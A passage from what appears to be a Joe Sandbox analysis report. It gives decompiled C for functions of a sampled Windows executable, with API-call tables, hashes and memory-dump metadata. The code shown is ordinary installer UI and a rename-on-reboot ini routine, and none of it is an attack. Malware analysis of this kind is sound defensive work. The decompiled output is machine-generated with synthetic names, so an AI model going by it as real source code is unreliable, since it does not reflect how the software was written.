							if(_a8 == 0x413) {
								L33:
								_t301 = 0 | _a8 != 0x00000413;
								_t245 = E00404F85(_v8, _a8 != 0x413);
								_t295 = _t245;
								if(_t295 >= 0) {
									_t94 = _v24 + 8; // 0x8
									_t301 = _t245 * 0x818 + _t94;
									_t247 =  *_t301;
									if((_t247 & 0x00000010) == 0) {
										if((_t247 & 0x00000040) == 0) {
											_t248 = _t247 ^ 0x00000001;
										} else {
											_t254 = _t247 ^ 0x00000080;
											if(_t254 >= 0) {
												_t248 = _t254 & 0x000000fe;
											} else {
												_t248 = _t254 | 0x00000001;
											}
										}
										 *_t301 = _t248;
										E0040117D(_t295);
										_a12 = _t295 + 1;
										_a16 =  !( *0x7a8ab8) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t301 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t225 =  *0x7a1f6c;
								if(_t225 != 0) {
									ImageList_Destroy(_t225);
								}
								_t226 =  *0x7a1f80;
								if(_t226 != 0) {
									GlobalFree(_t226);
								}
								 *0x7a1f6c = 0;
								 *0x7a1f80 = 0;
								 *0x7a8b00 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x7a8ab9 & 0x00000001) != 0) {
									_t324 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t324);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
								}
								goto L93;
							} else {
								E004011EF(_t301, 0, 0);
								_t198 = _a12;
								if(_t198 != 0) {
									if(_t198 != 0xffffffff) {
										_t198 = _t198 - 1;
									}
									_push(_t198);
									_push(8);
									E00405005();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t301, 0, 0);
									_v36 =  *0x7a1f80;
									_t201 =  *0x7a8ac8;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x7a8acc <= 0) {
										L86:
										if( *0x7a8b5e == 0x400) {
											InvalidateRect(_v8, 0, 1);
										}
										if( *((intOrPtr*)( *0x7a7a7c + 0x10)) != 0) {
											E00404F40(0x3ff, 0xfffffffb, E00404F58(5));
										}
										goto L90;
									}
									_t292 = _t201 + 8;
									do {
										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t207 != 0) {
											_t303 =  *_t292;
											_v72 = _t207;
											_v76 = 8;
											if((_t303 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t292[4]);
												_t292[0] = _t292[0] & 0x000000fe;
											}
											if((_t303 & 0x00000040) == 0) {
												_t211 = (_t303 & 0x00000001) + 1;
												if((_t303 & 0x00000010) != 0) {
													_t211 = _t211 + 3;
												}
											} else {
												_t211 = 3;
											}
											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t292 =  &(_t292[0x206]);
									} while (_v24 <  *0x7a8acc);
									goto L86;
								} else {
									_t293 = E004012E2( *0x7a1f80);
									E00401299(_t293);
									_t222 = 0;
									_t301 = 0;
									if(_t293 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t301, 0);
										_a16 = _t293;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
											_t301 = _t301 + 1;
										}
										_t222 = _t222 + 1;
									} while (_t222 < _t293);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t232 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t232 == 0xffffffff) {
								goto L93;
							}
							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
								_t294 = 0x20;
							}
							E00401299(_t294);
							SendMessageW(_a4, 0x420, 0, _t294);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					_v20 = 2;
					 *0x7a8b00 = _t291;
					 *0x7a1f80 = GlobalAlloc(0x40,  *0x7a8acc << 2);
					_t258 = LoadImageW( *0x7a8aa0, 0x6e, 0, 0, 0, 0);
					 *0x7a1f74 =  *0x7a1f74 | 0xffffffff;
					_t297 = _t258;
					 *0x7a1f7c = SetWindowLongW(_v8, 0xfffffffc, E00405644);
					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x7a1f6c = _t260;
					ImageList_AddMasked(_t260, _t297, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x7a1f6c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t297);
					_t298 = 0;
					do {
						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
							if(_t298 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E004066AB(_t298, 0, _t326, 0, _t266)), _t298);
						}
						_t298 = _t298 + 1;
					} while (_t298 < 0x21);
					_t299 = _a16;
					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
					_push(0x15);
					E004045CA(_a4);
					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
					_push(0x16);
					E004045CA(_a4);
					_t300 = 0;
					_v16 = 0;
					if( *0x7a8acc <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t319 = _v24 + 8;
						_v32 = _t319;
						do {
							_t278 =  &(_t319[0x10]);
							if( *_t278 != 0) {
								_v64 = _t278;
								_t279 =  *_t319;
								_v88 = _v16;
								_t311 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t311;
								_v44 = _t300;
								_v72 = _t279 & _t311;
								if((_t279 & 0x00000002) == 0) {
									if((_t279 & 0x00000004) == 0) {
										 *( *0x7a1f80 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v36 = 1;
									 *( *0x7a1f80 + _t300 * 4) = _t284;
									_v16 =  *( *0x7a1f80 + _t300 * 4);
								}
							}
							_t300 = _t300 + 1;
							_t319 =  &(_v32[0x818]);
							_v32 = _t319;
						} while (_t300 <  *0x7a8acc);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E004045FF(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E004045FF(_v12);
								L93:
								return E00404631(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x0040503e
0x00405057
0x0040505c
0x00405064
0x0040506a
0x00405080
0x00405083
0x004052ae
0x004052b5
0x004052c9
0x004052b7
0x004052b9
0x004052bc
0x004052bd
0x004052c4
0x004052c4
0x004052d5
0x004052e3
0x004052e6
0x004052fc
0x00405371
0x00405374
0x00405376
0x00405380
0x0040538e
0x0040538e
0x00405390
0x0040539a
0x004053a0
0x004053a3
0x004053a6
0x004053c1
0x004053a8
0x004053b2
0x004053b2
0x004053a6
0x0040539a
0x00000000
0x00405374
0x00405301
0x0040530c
0x00405311
0x00405318
0x0040531d
0x00405321
0x0040532c
0x0040532c
0x00405330
0x00405334
0x00405338
0x0040534b
0x0040533a
0x0040533a
0x00405341
0x00405347
0x00405343
0x00405343
0x00405343
0x00405341
0x0040534f
0x00405351
0x00405364
0x00405367
0x0040536a
0x0040536a
0x00405334
0x00000000
0x00405321
0x00405303
0x0040530a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004053c4
0x004053c4
0x004053cb
0x0040543c
0x00405444
0x0040544c
0x0040544c
0x00405455
0x00405457
0x0040545e
0x00405461
0x00405461
0x00405467
0x0040546e
0x00405471
0x00405471
0x00405477
0x0040547d
0x00405483
0x00405483
0x00405490
0x004055f1
0x004055f8
0x00405615
0x0040561b
0x0040562d
0x0040562d
0x00000000
0x00405496
0x00405498
0x0040549d
0x004054a2
0x004054a7
0x004054a9
0x004054a9
0x004054aa
0x004054ab
0x004054ad
0x004054ad
0x004054b5
0x004054f6
0x004054f8
0x00405508
0x0040550b
0x00405510
0x00405517
0x0040551a
0x004055bc
0x004055c5
0x004055cd
0x004055cd
0x004055db
0x004055ec
0x004055ec
0x00000000
0x004055db
0x00405520
0x00405523
0x00405529
0x0040552e
0x00405530
0x00405532
0x00405538
0x0040553f
0x00405544
0x0040554b
0x0040554e
0x0040554e
0x00405555
0x00405561
0x00405565
0x00405567
0x00405567
0x00405557
0x00405559
0x00405559
0x00405587
0x00405593
0x004055a2
0x004055a2
0x004055a4
0x004055a7
0x004055b0
0x00000000
0x004054b7
0x004054c2
0x004054c5
0x004054ca
0x004054cc
0x004054d0
0x004054e0
0x004054ea
0x004054ec
0x004054ef
0x00000000
0x00000000
0x00000000
0x00000000
0x004054d2
0x004054d2
0x004054d8
0x004054da
0x004054da
0x004054db
0x004054dc
0x00000000
0x004054d2
0x004054b5
0x00405490
0x004053d3
0x00000000
0x004053e9
0x004053f3
0x004053f8
0x00000000
0x00000000
0x0040540a
0x0040540f
0x0040541b
0x0040541b
0x0040541d
0x0040542c
0x0040542e
0x00405432
0x00405435
0x00000000
0x00405435
0x004053d3
0x00405089
0x0040508e
0x00405097
0x0040509e
0x004050b0
0x004050bb
0x004050c1
0x004050cf
0x004050e3
0x004050e8
0x004050f5
0x004050fa
0x00405110
0x00405121
0x0040512e
0x0040512e
0x00405131
0x00405137
0x00405139
0x0040513c
0x00405141
0x00405146
0x00405148
0x00405148
0x00405168
0x00405168
0x0040516a
0x0040516b
0x00405170
0x00405176
0x0040517a
0x0040517f
0x00405187
0x0040518b
0x00405190
0x00405195
0x0040519d
0x004051a0
0x00405270
0x00405283
0x00000000
0x004051a6
0x004051a9
0x004051ac
0x004051af
0x004051af
0x004051b5
0x004051be
0x004051c1
0x004051c5
0x004051c8
0x004051cb
0x004051d4
0x004051dd
0x004051e0
0x004051e3
0x004051e6
0x00405224
0x0040524f
0x00405226
0x00405235
0x00405235
0x004051e8
0x004051eb
0x004051f9
0x00405203
0x0040520b
0x00405212
0x0040521d
0x0040521d
0x004051e6
0x00405255
0x00405256
0x00405262
0x00405262
0x0040526e
0x00405289
0x0040528c
0x004052a9
0x00000000
0x0040528e
0x00405293
0x0040529c
0x0040562f
0x00405641
0x00405641
0x0040528c
0x00000000
0x0040526e
0x004051a0

APIs

GetDlgItem.USER32(?,000003F9), ref: 0040504F
GetDlgItem.USER32(?,00000408), ref: 0040505A
GlobalAlloc.KERNEL32(00000040,?), ref: 004050A4
LoadImageW.USER32 ref: 004050BB
SetWindowLongW.USER32 ref: 004050D4
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004050E8
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004050FA
SendMessageW.USER32(?,00001109,00000002), ref: 00405110
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 0040511C
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040512E
DeleteObject.GDI32(00000000), ref: 00405131
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040515C
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405168
SendMessageW.USER32(?,00001132,00000000,?), ref: 00405203
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405233

Part of subcall function 004045FF: SendMessageW.USER32(00000028,?,00000001,0040442A), ref: 0040460D

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405247
GetWindowLongW.USER32(?,000000F0), ref: 00405275
SetWindowLongW.USER32 ref: 00405283
ShowWindow.USER32(?,00000005), ref: 00405293
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040538E
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004053F3
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405408
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 0040542C
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040544C
ImageList_Destroy.COMCTL32(?), ref: 00405461
GlobalFree.KERNEL32(?), ref: 00405471
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004054EA
SendMessageW.USER32(?,00001102,?,?), ref: 00405593
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004055A2
InvalidateRect.USER32(?,00000000,00000001), ref: 004055CD
ShowWindow.USER32(?,00000000), ref: 0040561B
GetDlgItem.USER32(?,000003FE), ref: 00405626
ShowWindow.USER32(00000000), ref: 0040562D

Strings

, xrefs: 00405605
N, xrefs: 004052CC
M, xrefs: 004051EB

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 6abe7a227f943e402f923de28771de89d858ca3350371f72f3cd38ce524b5995
Instruction ID: 1c888212402988323542b136e78769e30209d338b2ecbb40b03ff66d659fa363
Opcode Fuzzy Hash: 6abe7a227f943e402f923de28771de89d858ca3350371f72f3cd38ce524b5995
Instruction Fuzzy Hash: 25027A70900609EFDB20DFA5CD85AAF7BB5FB85314F10812AF611BA2E1DB798951CF18

Uniqueness

Uniqueness Score: -1.00%

Function 00404789 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404789(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				char _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x79ff54 =  *0x79ff54 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E00404631(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x7a6a40;
							if(_t103 - _t113 < 0x800) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								_t44 =  &_v8; // 0x7a6a40
								E00404A38(_a4,  *_t44);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x7a8aa8, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x7a8aa8, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x79ff54 != 0) {
						goto L27;
					} else {
						_t116 =  *0x7a0f60 + 0x14;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E004045EC(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404A14();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x7a7a7c - 4 + _t75 * 4);
				}
				_t76 =  *0x7a8ad8 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E0040473A;
				if(_t110 != 2) {
					_v8 = E00404700;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E004045CA(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E004045CA(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E004045EC( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E004045FF(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x7a8ab0 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x79ff54 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x79ff54 = 0;
				return 0;
			}

0x0040479b
0x004048c8
0x00404925
0x00404929
0x004049f6
0x004049f8
0x004049f8
0x004049fe
0x004049fe
0x00404a01
0x00000000
0x00404a08
0x00404937
0x0040493d
0x00404947
0x00404952
0x00404955
0x00404958
0x00404963
0x00404966
0x0040496d
0x0040497a
0x0040498b
0x00404991
0x00404993
0x00404999
0x004049a7
0x004049ad
0x004049ad
0x0040496d
0x004049b7
0x00000000
0x004049c2
0x004049c6
0x004049d6
0x004049d6
0x004049dc
0x004049e8
0x004049e8
0x00000000
0x004049ec
0x004049b7
0x004048d3
0x00000000
0x004048e5
0x004048ea
0x004048f0
0x00000000
0x00000000
0x00404919
0x0040491b
0x00404920
0x00000000
0x00404920
0x004048d3
0x004047a1
0x004047a4
0x004047a9
0x004047ba
0x004047ba
0x004047c2
0x004047c5
0x004047c9
0x004047cc
0x004047d0
0x004047d3
0x004047d6
0x004047d9
0x004047e0
0x004047e2
0x004047e2
0x004047ec
0x004047f9
0x00404803
0x00404808
0x0040480b
0x00404810
0x00404827
0x0040482e
0x00404841
0x00404844
0x00404858
0x0040485f
0x00404864
0x00404869
0x00404869
0x00404877
0x00404885
0x00404897
0x0040489c
0x004048ac
0x004048ae
0x00000000

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404827
GetDlgItem.USER32(?,000003E8), ref: 0040483B
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404858
GetSysColor.USER32 ref: 00404869
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404877
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404885
lstrlenW.KERNEL32(?), ref: 0040488A
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404897
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004048AC
GetDlgItem.USER32(?,0000040A), ref: 00404905
SendMessageW.USER32(00000000), ref: 0040490C
GetDlgItem.USER32(?,000003E8), ref: 00404937
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040497A
LoadCursorW.USER32 ref: 00404988
SetCursor.USER32(00000000), ref: 0040498B
LoadCursorW.USER32 ref: 004049A4
SetCursor.USER32(00000000), ref: 004049A7
SendMessageW.USER32(00000111,00000001,00000000), ref: 004049D6
SendMessageW.USER32(00000010,00000000,00000000), ref: 004049E8

Strings

N, xrefs: 00404925
@jz, xrefs: 00404993

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: @jz$N
API String ID: 3103080414-4087404676
Opcode ID: 2f7aa64e3dc70d49155a5c32c4c6c2cb2c3818e72aa53dab6a0d1c61e372e6f3
Instruction ID: a92c684f90d09e790cb96c84d129e3e4002e0b0c6609d0ca9bf02dd30757374c
Opcode Fuzzy Hash: 2f7aa64e3dc70d49155a5c32c4c6c2cb2c3818e72aa53dab6a0d1c61e372e6f3
Instruction Fuzzy Hash: D861A2B1900209BFDB109F61DD85AAA7BA9FB85315F00803AF705B62E1C77C9D51DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004062B4 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004062B4(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x7a5628 = 0x55004e;
				 *0x7a562c = 0x4c;
				if(_t44 == 0) {
					L3:
					_t2 = _t52 + 0x1c; // 0x7a5e28
					_t12 = GetShortPathNameW( *_t2, 0x7a5e28, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x7a5228, "%ls=%ls\r\n", 0x7a5628, 0x7a5e28);
						_t53 = _t52 + 0x10;
						E004066AB(_t37, 0x400, 0x7a5e28, 0x7a5e28,  *((intOrPtr*)( *0x7a8ab0 + 0x128)));
						_t12 = E0040615E(0x7a5e28, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E004061E1(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E004060C3(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E004060C3(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00406119(_t24 + _t46, 0x7a5228, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E00406210(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E0040615E(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x7a5628, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x004062b4
0x004062bd
0x004062c4
0x004062ce
0x004062e2
0x0040630a
0x00406311
0x00406315
0x00406319
0x00406339
0x00406340
0x0040634a
0x00406357
0x0040635c
0x00406361
0x00406365
0x00406374
0x00406376
0x00406383
0x00406387
0x00406422
0x00000000
0x0040639d
0x004063aa
0x004063ce
0x004063d2
0x004063f1
0x004063f5
0x004063f5
0x004063f7
0x00406400
0x0040640b
0x00406416
0x0040641c
0x00000000
0x0040641c
0x004063d4
0x004063d7
0x004063e2
0x004063de
0x004063e0
0x004063e1
0x004063e1
0x004063e9
0x004063eb
0x00000000
0x004063eb
0x004063b5
0x004063bb
0x00000000
0x004063bb
0x00406387
0x00406365
0x004062e4
0x004062ef
0x004062f8
0x004062fc
0x00000000
0x00000000
0x004062fc
0x0040642d

APIs

CloseHandle.KERNEL32(00000000), ref: 004062EF
GetShortPathNameW.KERNEL32 ref: 004062F8

Part of subcall function 004060C3: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060D3
Part of subcall function 004060C3: lstrlenA.KERNEL32(00000000,?,00000000,004063A8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406105

GetShortPathNameW.KERNEL32 ref: 00406315
wsprintfA.USER32 ref: 00406333
GetFileSize.KERNEL32(00000000,00000000,007A5E28,C0000000,00000004,007A5E28,?,?,?,?,?), ref: 0040636E
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 0040637D
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063B5
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,007A5228,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 0040640B
GlobalFree.KERNEL32(00000000), ref: 0040641C
CloseHandle.KERNEL32(00000000), ref: 00406423

Part of subcall function 0040615E: GetFileAttributesW.KERNELBASE(00000003,00403113,007B6800,80000000,00000003), ref: 00406162
Part of subcall function 0040615E: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406184

Strings

[Rename], xrefs: 0040639D, 004063AF
(^z, xrefs: 0040630A
(Vz, xrefs: 004062DD
(^z, xrefs: 00406311
%ls=%ls, xrefs: 00406329

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

